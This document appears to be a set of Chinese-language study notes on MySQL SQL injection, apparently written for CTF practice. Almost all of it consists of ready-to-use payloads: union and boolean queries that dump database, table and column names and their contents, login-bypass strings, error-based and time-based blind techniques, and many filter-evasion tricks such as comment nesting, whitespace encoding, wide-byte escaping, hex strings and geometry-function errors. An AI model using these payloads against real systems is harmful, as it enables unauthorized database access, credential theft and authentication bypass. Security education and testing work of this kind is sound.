Sql注入笔记
一、思路
- 闭合方式 --> 判断类型 --> 测试绕过
- oder by查字段数 --> select 1,2,3确定显示位 --> 查数据库名 -->查表名 --> 列名 --> 内容
二、分类
1.联合注入
查字段数
1' order by 4 # //返回Ture
1' order by 5 # //返回False
说明字段数为4
确定显示位置
0' union select 1,2,3,4 #
查当前数据库名
0' union select 1,database(),3,4 #
查当前数据库所有表名
0' union select 1,group_concat(table_name),3,4 from information_schema.tables WHERE TABLE_SCHEMA=database() #
查指定表名的所有字段名
0' union select 1,group_concat(column_name),3,4 from information_schema.columns WHERE table_name="fl4g" #
查指定表的指定字段的内容
0' union select 1,skctf_flag,3,4 from fl4g #
2.布尔注入
爆当前数据库名
a.爆长度
or (select length(database()))>0 #
b.爆内容
or ascii(substr(database(),1,1))>100 #
爆当前数据库所有表名
a.爆长度
or (select length(group_concat(table_name)) from information_schema.tables WHERE TABLE_SCHEMA=database())>16 #
b.爆内容
1)使用burpsuite的Intruder插件bluster bomb模式直接爆破
or substr((select (group_concat(table_name)) from information_schema.tables WHERE TABLE_SCHEMA=database()),1,1)="a" #
2)使用python脚本二分法爆破(ascii码中可显字符范围:32-126)
or ascii(substr((select (group_concat(table_name)) from information_schema.tables WHERE TABLE_SCHEMA=database()),6,1))>100 #
爆指定表名的所有字段名
a.爆长度
or (SELECT length(GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_name like "h1dden_f14g")>8 #
b.爆内容
or substr((select (group_concat(column_name)) from information_schema.columns WHERE table_name like "h1dden_f14g"),1,1)="a" #
or ascii(substr((select (group_concat(column_name)) from information_schema.columns WHERE table_name like "h1dden_f14g"),4,1))>32 #
查指定表的指定字段的内容
a.爆长度
or (select length(the_f14g) from h1dden_f14g limit 0,1)=50 #
b.爆内容
or substr((select length(the_f14g) from h1dden_f14g limit 0,1),1,1)="a" #
3.报错注入
4.盲注
5.二次注入
1)注册时,过滤是安全的
2)注册数据存入数据库
3)登录/查询时取出数据
4)语句拼接,触发注入
三、常规查询
1.万能密码
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
2.表名
a.联合
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;
UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database();
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
b.报错
使用updatexml()或extractvalue()
and extractvalue(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) or ''
c.盲注
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
3.列名
a.联合
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
b.报错
使用updatexml()或extractvalue()
or extractvalue(1, concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) or ''
c.盲注
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
四、一般绕过
1.注释符绕过
#, --+, /*xxx*/, /*!xxx*/, /*!50000xxx*/
在实际场景中可以将这些注释符嵌套应用,比如只需利用一个*/闭合多个/*!
/*!select*//*!**//*!from*//*!yz*/;
/*!union/*!select/*!1,(select/*!password/*!users/*!limit/*!0,1),3*/;
2.大小写绕过
3.双关键词绕过
4.空格绕过
%09 %0A %0B %0C %0D %A0 %20 /**/
select%0a*%0afrom%0ayz
5.宽子节绕过
使用前提:php使用GBK编码,用于绕过单引号转义
%bf%27 被转义后 变为 (%bf%5c)%27 ,%81-%fe之间的任意字符有效
6.字符串黑名单绕过
SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
7.引号限制绕过
-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
8.order by过滤绕过
select * from yz limit 1,1 into @a,@b,@c;
9.MySQL信息库被过滤
限制:MySQL自带的information_schema,SCHEMATA,TABLES,COLUMNS禁掉或者过滤了,导致无法使用上面的方法来获取数据库名和表名等内容
a.库名
原理:使用不存在的自定义函数,触发错误,爆出当前数据库名
select * from user where uid=formsec();
b.表名
使用 polygon(), linestring()触发报错,详见“花式绕过”章节
c.列名
原理:在使用别名的时候,表中不能出现相同的字段名,否则就会报错,从而爆出字段名,在使用using函数依次爆出其他字段名
依次爆列名:
and (select * from (select * from users as a join users as b) as c); //返回'uid'
and (select * from (select * from users as a join users as b using(uid)) as c); //返回'username'
and (select * from (select * from users as a join users as b using(uid,username)) as c); //返回'password'
五、花式绕过
使用前提:服务器使用黑名单限制时
(一)报错注入
限制:updatexml、extractvalue被禁用,information_schemn被禁用
进阶姿势1: polygon(), multipolygon(), linestring(), multilinestring()
select * from article where id=1 or polygon(id/uid);
select * from article where id=1 or multipolygon(id);
select * from article where id=1 or linestring(id);
select * from article where id=1 or multilinestring(id);
进阶姿势2: exp()
select * from article where id=1 or exp(~(select id from(select database())a));
进阶姿势3:
select * from article where id=1 or ST_LatFromGeoHash(concat(0x7e,(select database()),0x7e));
select * from article where id=1 or ST_LongFromGeoHash(concat(0x7e,(select database()),0x7e));
select * from article where id=1 or ST_PointFromGeoHash(concat(0x7e,(select database()),0x7e),1);
select * from article where id=1 or GTID_SUBSET(concat(0x7e,(select database()),0x7e),1);
select * from article where id=1 or GTID_SUBTRACT(concat(0x7e,(select database()),0x7e),1);
(二)时间盲注
限制:if等条件语句被禁用(CASE, IF(), IFNULL(), NULLIF()等也可用于判断条件),and等被禁用(||,&&),sleep等延时函数被禁用( BENCHMARK() 也可用于延时)
进阶姿势1: elt() 常用
select * from article where id=1 and elt(2,1=1,sleep(5));
进阶姿势2: field()
select * from article where id = 1 and field(1,sleep(5));
说明:成功或失败都会sleep,耗时较长,很少使用
进阶姿势3: Heavy Query
原理:用消耗资源的方式让数据库查询时间变长,实现方法一般用information_schema做笛卡尔积,实际使用中,发现使用2列1库时,耗时为5s左右,适合用于盲注。
使用前提:information_schema未被禁用
select * from content where id = 1 and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);
以上语句查询成功时,延时5s左右;失败时,基本没有延时
进阶姿势4: Get_lock()
原理:利用多线程查询的加锁机制,在查询前先加锁,之后再查询时,如果成功,则有等待延时
使用前提:用长链接连接数据库
mysql_connect()为短链接, mysql_pconnect()为长链接